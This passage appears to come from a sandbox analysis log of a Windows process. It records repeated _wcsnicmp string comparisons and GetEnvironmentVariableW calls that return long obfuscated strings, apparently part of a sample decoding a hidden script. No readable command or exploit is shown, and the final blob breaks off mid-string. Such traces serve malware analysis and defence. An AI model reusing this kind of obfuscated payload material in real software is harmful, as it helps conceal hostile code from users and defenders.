	[0057.005] _wcsnicmp (_String1="1.", _String2="AC", _MaxCount=0x2) returned -48
	[0057.005] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51
	[0057.005] _wcsnicmp (_String1="Y@", _String2="AC", _MaxCount=0x2) returned 24
	[0057.005] _wcsnicmp (_String1="@e", _String2="AC", _MaxCount=0x2) returned -33
	[0057.005] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4
	[0057.005] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14
	[0057.005] _wcsnicmp (_String1="2h", _String2="AC", _MaxCount=0x2) returned -47
	[0057.005] _wcsnicmp (_String1="h8", _String2="AC", _MaxCount=0x2) returned 7
	[0057.005] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41
	[0057.005] _wcsnicmp (_String1="PZ", _String2="AC", _MaxCount=0x2) returned 15
	[0057.005] _wcsnicmp (_String1="Z7", _String2="AC", _MaxCount=0x2) returned 25
	[0057.005] _wcsnicmp (_String1="7y", _String2="AC", _MaxCount=0x2) returned -42
	[0057.005] _wcsnicmp (_String1="y8", _String2="AC", _MaxCount=0x2) returned 24
	[0057.005] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41
	[0057.005] _wcsnicmp (_String1="P3", _String2="AC", _MaxCount=0x2) returned 15
	[0057.005] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46
	[0057.005] _wcsnicmp (_String1="pT", _String2="AC", _MaxCount=0x2) returned 15
	[0057.005] _wcsnicmp (_String1="Td", _String2="AC", _MaxCount=0x2) returned 19
	[0057.005] _wcsnicmp (_String1="de", _String2="AC", _MaxCount=0x2) returned 3
	[0057.005] _wcsnicmp (_String1="e3", _String2="AC", _MaxCount=0x2) returned 4
	[0057.005] _wcsnicmp (_String1="37", _String2="AC", _MaxCount=0x2) returned -46
	[0057.005] _wcsnicmp (_String1="7{", _String2="AC", _MaxCount=0x2) returned -42
	[0057.005] _wcsnicmp (_String1="{j", _String2="AC", _MaxCount=0x2) returned 26
	[0057.006] _wcsnicmp (_String1="jU", _String2="AC", _MaxCount=0x2) returned 9
	[0057.006] _wcsnicmp (_String1="Un", _String2="AC", _MaxCount=0x2) returned 20
	[0057.006] _wcsnicmp (_String1="nP", _String2="AC", _MaxCount=0x2) returned 13
	[0057.006] _wcsnicmp (_String1="Pj", _String2="AC", _MaxCount=0x2) returned 15
	[0057.006] _wcsnicmp (_String1="jy", _String2="AC", _MaxCount=0x2) returned 9
	[0057.006] _wcsnicmp (_String1="y+", _String2="AC", _MaxCount=0x2) returned 24
	[0057.006] _wcsnicmp (_String1="+@", _String2="AC", _MaxCount=0x2) returned -54
	[0057.006] _wcsnicmp (_String1="@e", _String2="AC", _MaxCount=0x2) returned -33
	[0057.006] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4
	[0057.006] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14
	[0057.006] _wcsnicmp (_String1="2%", _String2="AC", _MaxCount=0x2) returned -47
	[0057.006] _wcsnicmp (_String1="%z", _String2="AC", _MaxCount=0x2) returned -60
	[0057.006] _wcsnicmp (_String1="zw", _String2="AC", _MaxCount=0x2) returned 25
	[0057.006] _wcsnicmp (_String1="wL", _String2="AC", _MaxCount=0x2) returned 22
	[0057.006] _wcsnicmp (_String1="Lh", _String2="AC", _MaxCount=0x2) returned 11
	[0057.006] _wcsnicmp (_String1="hw", _String2="AC", _MaxCount=0x2) returned 7
	[0057.006] _wcsnicmp (_String1="wL", _String2="AC", _MaxCount=0x2) returned 22
	[0057.006] _wcsnicmp (_String1="LT", _String2="AC", _MaxCount=0x2) returned 11
	[0057.006] _wcsnicmp (_String1="Td", _String2="AC", _MaxCount=0x2) returned 19
	[0057.006] _wcsnicmp (_String1="d3", _String2="AC", _MaxCount=0x2) returned 3
	[0057.006] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46
	[0057.006] _wcsnicmp (_String1="pe", _String2="AC", _MaxCount=0x2) returned 15
	[0057.006] _wcsnicmp (_String1="e3", _String2="AC", _MaxCount=0x2) returned 4
	[0057.006] _wcsnicmp (_String1="37", _String2="AC", _MaxCount=0x2) returned -46
	[0057.006] _wcsnicmp (_String1="7{", _String2="AC", _MaxCount=0x2) returned -42
	[0057.006] _wcsnicmp (_String1="{j", _String2="AC", _MaxCount=0x2) returned 26
	[0057.006] _wcsnicmp (_String1="jU", _String2="AC", _MaxCount=0x2) returned 9
	[0057.006] _wcsnicmp (_String1="Un", _String2="AC", _MaxCount=0x2) returned 20
	[0057.006] _wcsnicmp (_String1="n#", _String2="AC", _MaxCount=0x2) returned 13
	[0057.006] _wcsnicmp (_String1="#P", _String2="AC", _MaxCount=0x2) returned -62
	[0057.006] _wcsnicmp (_String1="Pj", _String2="AC", _MaxCount=0x2) returned 15
	[0057.006] _wcsnicmp (_String1="jy", _String2="AC", _MaxCount=0x2) returned 9
	[0057.006] _wcsnicmp (_String1="y+", _String2="AC", _MaxCount=0x2) returned 24
	[0057.006] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.006] _wcsnicmp (_String1="2X", _String2="AC", _MaxCount=0x2) returned -47
	[0057.006] _wcsnicmp (_String1="Xb", _String2="AC", _MaxCount=0x2) returned 23
	[0057.006] _wcsnicmp (_String1="b2", _String2="AC", _MaxCount=0x2) returned 1
	[0057.006] _wcsnicmp (_String1="2)", _String2="AC", _MaxCount=0x2) returned -47
	[0057.006] _wcsnicmp (_String1=").", _String2="AC", _MaxCount=0x2) returned -56
	[0057.006] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51
	[0057.006] _wcsnicmp (_String1="Y1", _String2="AC", _MaxCount=0x2) returned 24
	[0057.007] _wcsnicmp (_String1="11", _String2="AC", _MaxCount=0x2) returned -48
	[0057.007] _wcsnicmp (_String1="12", _String2="AC", _MaxCount=0x2) returned -48
	[0057.007] _wcsnicmp (_String1="2e", _String2="AC", _MaxCount=0x2) returned -47
	[0057.007] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4
	[0057.007] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14
	[0057.007] _wcsnicmp (_String1="22", _String2="AC", _MaxCount=0x2) returned -47
	[0057.007] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47
	[0057.007] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.007] _wcsnicmp (_String1="26", _String2="AC", _MaxCount=0x2) returned -47
	[0057.007] _wcsnicmp (_String1="63", _String2="AC", _MaxCount=0x2) returned -43
	[0057.007] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46
	[0057.007] _wcsnicmp (_String1="p.", _String2="AC", _MaxCount=0x2) returned 15
	[0057.007] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51
	[0057.007] _wcsnicmp (_String1="YF", _String2="AC", _MaxCount=0x2) returned 24
	[0057.007] _wcsnicmp (_String1="F3", _String2="AC", _MaxCount=0x2) returned 5
	[0057.007] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46
	[0057.007] _wcsnicmp (_String1="p2", _String2="AC", _MaxCount=0x2) returned 15
	[0057.007] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47
	[0057.007] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.007] _wcsnicmp (_String1="2]", _String2="AC", _MaxCount=0x2) returned -47
	[0057.007] _wcsnicmp (_String1="]2", _String2="AC", _MaxCount=0x2) returned -4
	[0057.007] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47
	[0057.007] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.007] _wcsnicmp (_String1="2.", _String2="AC", _MaxCount=0x2) returned -47
	[0057.007] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51
	[0057.007] _wcsnicmp (_String1="Yq", _String2="AC", _MaxCount=0x2) returned 24
	[0057.007] _wcsnicmp (_String1="qF", _String2="AC", _MaxCount=0x2) returned 16
	[0057.007] _wcsnicmp (_String1="F3", _String2="AC", _MaxCount=0x2) returned 5
	[0057.007] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46
	[0057.007] _wcsnicmp (_String1="pb", _String2="AC", _MaxCount=0x2) returned 15
	[0057.007] _wcsnicmp (_String1="bf", _String2="AC", _MaxCount=0x2) returned 1
	[0057.007] _wcsnicmp (_String1="fN", _String2="AC", _MaxCount=0x2) returned 5
	[0057.007] _wcsnicmp (_String1="N2", _String2="AC", _MaxCount=0x2) returned 13
	[0057.007] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47
	[0057.007] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.007] _wcsnicmp (_String1="28", _String2="AC", _MaxCount=0x2) returned -47
	[0057.007] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41
	[0057.007] _wcsnicmp (_String1="P4", _String2="AC", _MaxCount=0x2) returned 15
	[0057.007] _wcsnicmp (_String1="4-", _String2="AC", _MaxCount=0x2) returned -45
	[0057.007] _wcsnicmp (_String1="-P", _String2="AC", _MaxCount=0x2) returned -52
	[0057.007] _wcsnicmp (_String1="Pj", _String2="AC", _MaxCount=0x2) returned 15
	[0057.007] _wcsnicmp (_String1="j3", _String2="AC", _MaxCount=0x2) returned 9
	[0057.007] _wcsnicmp (_String1="3Q", _String2="AC", _MaxCount=0x2) returned -46
	[0057.008] _wcsnicmp (_String1="Qe", _String2="AC", _MaxCount=0x2) returned 16
	[0057.008] _wcsnicmp (_String1="eA", _String2="AC", _MaxCount=0x2) returned 4
	[0057.008] _wcsnicmp (_String1="AC", _String2="AC", _MaxCount=0x2) returned 0
	[0057.008] _wcsnicmp (_String1="h8", _String2="AC", _MaxCount=0x2) returned 7
	[0057.008] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41
	[0057.008] _wcsnicmp (_String1="PZ", _String2="AC", _MaxCount=0x2) returned 15
	[0057.008] _wcsnicmp (_String1="Z8", _String2="AC", _MaxCount=0x2) returned 25
	[0057.008] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41
	[0057.008] _wcsnicmp (_String1="P,", _String2="AC", _MaxCount=0x2) returned 15
	[0057.008] _wcsnicmp (_String1=",2", _String2="AC", _MaxCount=0x2) returned -53
	[0057.008] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47
	[0057.008] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.008] _wcsnicmp (_String1="2G", _String2="AC", _MaxCount=0x2) returned -47
	[0057.008] _wcsnicmp (_String1="GC", _String2="AC", _MaxCount=0x2) returned 6
	[0057.008] _wcsnicmp (_String1="C7", _String2="AC", _MaxCount=0x2) returned 2
	[0057.008] _wcsnicmp (_String1="7y", _String2="AC", _MaxCount=0x2) returned -42
	[0057.008] _wcsnicmp (_String1="y2", _String2="AC", _MaxCount=0x2) returned 24
	[0057.008] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47
	[0057.008] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.008] _wcsnicmp (_String1="2[", _String2="AC", _MaxCount=0x2) returned -47
	[0057.008] _wcsnicmp (_String1="[2", _String2="AC", _MaxCount=0x2) returned -6
	[0057.008] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47
	[0057.008] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.008] _wcsnicmp (_String1="27", _String2="AC", _MaxCount=0x2) returned -47
	[0057.008] _wcsnicmp (_String1="7K", _String2="AC", _MaxCount=0x2) returned -42
	[0057.008] _wcsnicmp (_String1="K2", _String2="AC", _MaxCount=0x2) returned 10
	[0057.008] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47
	[0057.008] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.008] _wcsnicmp (_String1="23", _String2="AC", _MaxCount=0x2) returned -47
	[0057.008] _wcsnicmp (_String1="37", _String2="AC", _MaxCount=0x2) returned -46
	[0057.008] _wcsnicmp (_String1="73", _String2="AC", _MaxCount=0x2) returned -42
	[0057.008] _wcsnicmp (_String1="37", _String2="AC", _MaxCount=0x2) returned -46
	[0057.008] _wcsnicmp (_String1="7-", _String2="AC", _MaxCount=0x2) returned -42
	[0057.008] _wcsnicmp (_String1="-%", _String2="AC", _MaxCount=0x2) returned -52
	[0057.008] _wcsnicmp (_String1="%2", _String2="AC", _MaxCount=0x2) returned -60
	[0057.008] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47
	[0057.008] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.008] _wcsnicmp (_String1="2`", _String2="AC", _MaxCount=0x2) returned -47
	[0057.008] _wcsnicmp (_String1="`k", _String2="AC", _MaxCount=0x2) returned -1
	[0057.008] _wcsnicmp (_String1="k7", _String2="AC", _MaxCount=0x2) returned 10
	[0057.008] _wcsnicmp (_String1="7y", _String2="AC", _MaxCount=0x2) returned -42
	[0057.008] _wcsnicmp (_String1="y8", _String2="AC", _MaxCount=0x2) returned 24
	[0057.008] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41
	[0057.009] _wcsnicmp (_String1="P.", _String2="AC", _MaxCount=0x2) returned 15
	[0057.009] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51
	[0057.009] _wcsnicmp (_String1="Y-", _String2="AC", _MaxCount=0x2) returned 24
	[0057.009] _wcsnicmp (_String1="-7", _String2="AC", _MaxCount=0x2) returned -52
	[0057.009] _wcsnicmp (_String1="7K", _String2="AC", _MaxCount=0x2) returned -42
	[0057.009] _wcsnicmp (_String1="Ke", _String2="AC", _MaxCount=0x2) returned 10
	[0057.009] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4
	[0057.009] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14
	[0057.009] _wcsnicmp (_String1="22", _String2="AC", _MaxCount=0x2) returned -47
	[0057.009] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47
	[0057.009] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.009] _wcsnicmp (_String1="2e", _String2="AC", _MaxCount=0x2) returned -47
	[0057.009] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4
	[0057.009] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14
	[0057.009] _wcsnicmp (_String1="28", _String2="AC", _MaxCount=0x2) returned -47
	[0057.009] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41
	[0057.009] _wcsnicmp (_String1="Pm", _String2="AC", _MaxCount=0x2) returned 15
	[0057.009] _wcsnicmp (_String1="m3", _String2="AC", _MaxCount=0x2) returned 12
	[0057.009] _wcsnicmp (_String1="3Q", _String2="AC", _MaxCount=0x2) returned -46
	[0057.009] _wcsnicmp (_String1="Qe", _String2="AC", _MaxCount=0x2) returned 16
	[0057.009] _wcsnicmp (_String1="eA", _String2="AC", _MaxCount=0x2) returned 4
	[0057.009] _wcsnicmp (_String1="AC", _String2="AC", _MaxCount=0x2) returned 0
	[0057.009] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46
	[0057.009] _wcsnicmp (_String1="p`", _String2="AC", _MaxCount=0x2) returned 15
	[0057.009] _wcsnicmp (_String1="`2", _String2="AC", _MaxCount=0x2) returned -1
	[0057.009] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47
	[0057.009] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.009] _wcsnicmp (_String1="2q", _String2="AC", _MaxCount=0x2) returned -47
	[0057.009] _wcsnicmp (_String1="qF", _String2="AC", _MaxCount=0x2) returned 16
	[0057.009] _wcsnicmp (_String1="F3", _String2="AC", _MaxCount=0x2) returned 5
	[0057.009] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46
	[0057.009] _wcsnicmp (_String1="pb", _String2="AC", _MaxCount=0x2) returned 15
	[0057.009] _wcsnicmp (_String1="bf", _String2="AC", _MaxCount=0x2) returned 1
	[0057.009] _wcsnicmp (_String1="fN", _String2="AC", _MaxCount=0x2) returned 5
	[0057.009] _wcsnicmp (_String1="N6", _String2="AC", _MaxCount=0x2) returned 13
	[0057.009] _wcsnicmp (_String1="6m", _String2="AC", _MaxCount=0x2) returned -43
	[0057.009] _wcsnicmp (_String1="m8", _String2="AC", _MaxCount=0x2) returned 12
	[0057.009] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41
	[0057.009] _wcsnicmp (_String1="P.", _String2="AC", _MaxCount=0x2) returned 15
	[0057.009] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51
	[0057.009] _wcsnicmp (_String1="YA", _String2="AC", _MaxCount=0x2) returned 24
	[0057.009] _wcsnicmp (_String1="AC", _String2="AC", _MaxCount=0x2) returned 0
	[0057.009] _wcsnicmp (_String1="67", _String2="AC", _MaxCount=0x2) returned -43
	[0057.010] _wcsnicmp (_String1="7j", _String2="AC", _MaxCount=0x2) returned -42
	[0057.010] _wcsnicmp (_String1="jh", _String2="AC", _MaxCount=0x2) returned 9
	[0057.010] _wcsnicmp (_String1="h`", _String2="AC", _MaxCount=0x2) returned 7
	[0057.010] _wcsnicmp (_String1="`e", _String2="AC", _MaxCount=0x2) returned -1
	[0057.010] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4
	[0057.010] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14
	[0057.010] _wcsnicmp (_String1="2G", _String2="AC", _MaxCount=0x2) returned -47
	[0057.010] _wcsnicmp (_String1="GC", _String2="AC", _MaxCount=0x2) returned 6
	[0057.010] _wcsnicmp (_String1="C7", _String2="AC", _MaxCount=0x2) returned 2
	[0057.010] _wcsnicmp (_String1="7y", _String2="AC", _MaxCount=0x2) returned -42
	[0057.010] _wcsnicmp (_String1="y8", _String2="AC", _MaxCount=0x2) returned 24
	[0057.010] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41
	[0057.010] _wcsnicmp (_String1="Pm", _String2="AC", _MaxCount=0x2) returned 15
	[0057.010] _wcsnicmp (_String1="m'", _String2="AC", _MaxCount=0x2) returned 12
	[0057.010] _wcsnicmp (_String1="'j", _String2="AC", _MaxCount=0x2) returned -58
	[0057.010] _wcsnicmp (_String1="jU", _String2="AC", _MaxCount=0x2) returned 9
	[0057.010] _wcsnicmp (_String1="U]", _String2="AC", _MaxCount=0x2) returned 20
	[0057.010] _wcsnicmp (_String1="]6", _String2="AC", _MaxCount=0x2) returned -4
	[0057.010] _wcsnicmp (_String1="62", _String2="AC", _MaxCount=0x2) returned -43
	[0057.010] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47
	[0057.010] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.010] _wcsnicmp (_String1="24", _String2="AC", _MaxCount=0x2) returned -47
	[0057.010] _wcsnicmp (_String1="42", _String2="AC", _MaxCount=0x2) returned -45
	[0057.010] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47
	[0057.010] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54
	[0057.010] _wcsnicmp (_String1="2Z", _String2="AC", _MaxCount=0x2) returned -47
	[0057.011] GetEnvironmentVariableW (in: lpName="\\,}_", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="eo28PGC7y.Y.Yeo2vTd]F3pbf6K'.Y1.Y@eo2h8PZ7y8P3pTde37{jUnPjy+@eo2%zwLhwLTd3pe37{jUn#Pjy+2Xb2).Y112eo22+263p.YF3p2+2]2+2.YqF3pbfN2+28P4-Pj3Qe9h8PZ8P,2+2GC7y2+2[2+27K2+23737-%2+2`k7y8P.Y-7Keo22+2eo28Pm3Qe93p`2+2qF3pbfN6m8P.Y967jh`eo2GC7y8Pm'jU]62+242+2Zn.967[2+2F3pbfbfk7yuuQe37eo22+26KF3p].Yjh`eo2GC7y8P2+2m'2+2jU]64Zn2+2.'u2+2ZGC7ym6k7y11F3p].YqF3pbfN8PGC7y'a2+28P3Qe97yjU62+23pZ8PnGC7y)'2+2Pjk7y8PnR8P6371962+272+2%zwLhGC7yGC7yk7yeo28 ,.,.Zm6.2+28Peo24ax'Zm.3Qe9X2+27',X2+2m,.9 ,.F3pjUn,.2+2.6GC7y4axuQe7yeo2K_X'2+2k7yn.9672+2))[2+2F3pbfbfk7yuuQe2+2mQe6KF3p].Yu`2+2GC7y2+28P{Pjy.Y2+24axjUnH [1 '2+2'H)3Qe92+2jh2+2h8PZo\\F3pX]8P6,%zwLh12+2F3pbf2+2bf2+2k7yuuQe7.YZn1 ''H2+24ax(2+2))\\F3pbfbfk7yuuQe2+2GC7y2+2GC7y6KF3pbfbfk7yuuQe37eo2'6wL8P2+2GC7yGC7yyZ78P3p1F3pbfbfk7yuuQe76xd2+2F3pbf2+2bfk7yuuQe_2+2)[F3pbfbfk7yuuQemQe2+2{F3pbfbfk7yuuQe2+2_:H4axiy+F3pbfbfk7yuuQe7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQeGC7yGC7y'u-3Qe96n37jUn5):jUnbf)-3Qe9X]2+21F3pbfbfk7yuuQeGC7y2+2GC7y'6wL.Y-3Qe96n37.YjUn5))}2+2}[2+2e2+2wLXb12+2{jh`eo2GC7y2+28Pm'%8P72+2GC7y'wL2+2n,X37Zn2+2.2+2Pjy8 8 7Kjh7yjU6ee'2+26wL8PGC7yjh2+2GC7y]Zn.1F3pbfbf2+2k7yuuQe2+2mQe{ '2+2'2+2jUn2+29 (2+2Pjy)2+2)2)'R8Pk7y3p67yjU6wL1296726xd{eo2%Ren6wLPjy{7yjU6%zwLh7K]Pjy#H)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{eo2%Ren6wLPjy{7yjU6%zwLh7K]PjyjUn4axH)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{eo2%Ren6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&.Yeo28P%.Y.Y6jUe/`6KwL,%zwLhPj.Y1.Z.YF3pbf6Re7K3Qe93p8P8 8P:XbGC7y)'7y6TdvwL'enF3pbfPjQewL7yjU6XmuQe6njU'eqF3pbfN7yPjQe8Peo27yjU6RZGC7yy%11Tdjh.Y8PqF3pbfN7y8 eo23Td]7y)'F3pbf6Td38P.Y.Y).Y.Y^^^|GC7yyPj4wLReo2h8PZ7ywL3pTd.Y.Y-nXqF3pbfNZqF3pbfN%wL]67yjU6%e.Y.Y-qF3pbfNX3pPj.Y-4ZqF3pbfN.Y%zwLhe37378Pn.Y-8P78P,v%ePjqF3pbfNk7yPjTde,.Y3Qe9`GC7yy7Kjhjh.Y.Y-nPjGC7yy]PjzwLhe3p8P.Y.Y-7yjU6PjmuQe7KqF3pbfN37.Y.Y.Y.Y.Y^^^^^^^&1.Y@8PqF3pbfN7y8 7yjU6Xmeo2GC7yy8P,{H6xd4axH6xd4ax5Pjy-TdQXen22)1@Znk7yv%.Y).Y.Y^&^&.Y.Y,m37'8P7wL.Y.Y.Y,.,.Yo637Z/T.o") returned 0x7ee
	[0057.012] GetEnvironmentVariableW (in: lpName="`?", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="s8PGC7y.Y.YsvTd]F3pbf6K'.Y1.Y@sh8PZ7y8P3pTde37{jUnPjy+@s%zwLhwLTd3pe37{jUn#Pjy+2Xb2).Y112s2+263p.YF3p2+2]2+2.YqF3pbfN2+28P4-Pj3Qe9h8PZ8P,2+2GC7y2+2[2+27K2+23737-%2+2`k7y8P.Y-7Ks2+2s8Pm3Qe93p`2+2qF3pbfN6m8P.Y967jh`sGC7y8Pm'jU]62+242+2Zn.967[2+2F3pbfbfk7yuuQe37s2+26KF3p].Yjh`sGC7y8P2+2m'2+2jU]64Zn2+2.'u2+2ZGC7ym6k7y11F3p].YqF3pbfN8PGC7y'a2+28P3Qe97yjU62+23pZ8PnGC7y)'2+2Pjk7y8PnR8P6371962+272+2%zwLhGC7yGC7yk7ys8 ,.,.Zm6.2+28Ps4ax'Zm.3Qe9X2+27',X2+2m,.9 ,.F3pjUn,.2+2.6GC7y4axuQe7ysK_X'2+2k7yn.9672+2))[2+2F3pbfbfk7yuuQe2+2mQe6KF3p].Yu`2+2GC7y2+28P{Pjy.Y2+24axjUnH [1 '2+2'H)3Qe92+2jh2+2h8PZo\\F3pX]8P6,%zwLh12+2F3pbf2+2bf2+2k7yuuQe7.YZn1 ''H2+24ax(2+2))\\F3pbfbfk7yuuQe2+2GC7y2+2GC7y6KF3pbfbfk7yuuQe37s'6wL8P2+2GC7yGC7yyZ78P3p1F3pbfbfk7yuuQe76xd2+2F3pbf2+2bfk7yuuQe_2+2)[F3pbfbfk7yuuQemQe2+2{F3pbfbfk7yuuQe2+2_:H4axiy+F3pbfbfk7yuuQe7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQeGC7yGC7y'u-3Qe96n37jUn5):jUnbf)-3Qe9X]2+21F3pbfbfk7yuuQeGC7y2+2GC7y'6wL.Y-3Qe96n37.YjUn5))}2+2}[2+2e2+2wLXb12+2{jh`sGC7y2+28Pm'%8P72+2GC7y'wL2+2n,X37Zn2+2.2+2Pjy8 8 7Kjh7yjU6ee'2+26wL8PGC7yjh2+2GC7y]Zn.1F3pbfbf2+2k7yuuQe2+2mQe{ '2+2'2+2jUn2+29 (2+2Pjy)2+2)2)'R8Pk7y3p67yjU6wL1296726xd{s%Ren6wLPjy{7yjU6%zwLh7K]Pjy#H)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%Ren6wLPjy{7yjU6%zwLh7K]PjyjUn4axH)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%Ren6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&.Ys8P%.Y.Y6jUe/`6KwL,%zwLhPj.Y1.Z.YF3pbf6Re7K3Qe93p8P8 8P:XbGC7y)'7y6TdvwL'enF3pbfPjQewL7yjU6XmuQe6njU'eqF3pbfN7yPjQe8Ps7yjU6RZGC7yy%11Tdjh.Y8PqF3pbfN7y8 s3Td]7y)'F3pbf6Td38P.Y.Y).Y.Y^^^|GC7yyPj4wLRsh8PZ7ywL3pTd.Y.Y-nXqF3pbfNZqF3pbfN%wL]67yjU6%e.Y.Y-qF3pbfNX3pPj.Y-4ZqF3pbfN.Y%zwLhe37378Pn.Y-8P78P,v%ePjqF3pbfNk7yPjTde,.Y3Qe9`GC7yy7Kjhjh.Y.Y-nPjGC7yy]PjzwLhe3p8P.Y.Y-7yjU6PjmuQe7KqF3pbfN37.Y.Y.Y.Y.Y^^^^^^^&1.Y@8PqF3pbfN7y8 7yjU6XmsGC7yy8P,{H6xd4axH6xd4ax5Pjy-TdQXen22)1@Znk7yv%.Y).Y.Y^&^&.Y.Y,m37'8P7wL.Y.Y.Y,.,.Yo637Z/T.o") returned 0x7c0
	[0057.012] GetEnvironmentVariableW (in: lpName="@[~", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="s8PGC7y.Y.YsvTd]F3pbf6K'.Y1.Y@sh8PZ7y8P3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+2Xb2).Y112s2+263p.YF3p2+2]2+2.YqF3pbfN2+28P4-Pj3QI9h8PZ8P,2+2GC7y2+2[2+27K2+23737-%2+2`k7y8P.Y-7Ks2+2s8Pm3QI93p`2+2qF3pbfN6m8P.Y967jh`sGC7y8Pm'jU]62+242+2Zn.967[2+2F3pbfbfk7yuuQI37s2+26KF3p].Yjh`sGC7y8P2+2m'2+2jU]64Zn2+2.'u2+2ZGC7ym6k7y11F3p].YqF3pbfN8PGC7y'a2+28P3QI97yjU62+23pZ8PnGC7y)'2+2Pjk7y8PnR8P6371962+272+2%zwLhGC7yGC7yk7ys8 ,.,.Zm6.2+28Ps4ax'Zm.3QI9X2+27',X2+2m,.9 ,.F3pjUn,.2+2.6GC7y4axuQI7ysK_X'2+2k7yn.9672+2))[2+2F3pbfbfk7yuuQI2+2mQI6KF3p].Yu`2+2GC7y2+28P{Pjy.Y2+24axjUnH [1 '2+2'H)3QI92+2jh2+2h8PZo\\F3pX]8P6,%zwLh12+2F3pbf2+2bf2+2k7yuuQI7.YZn1 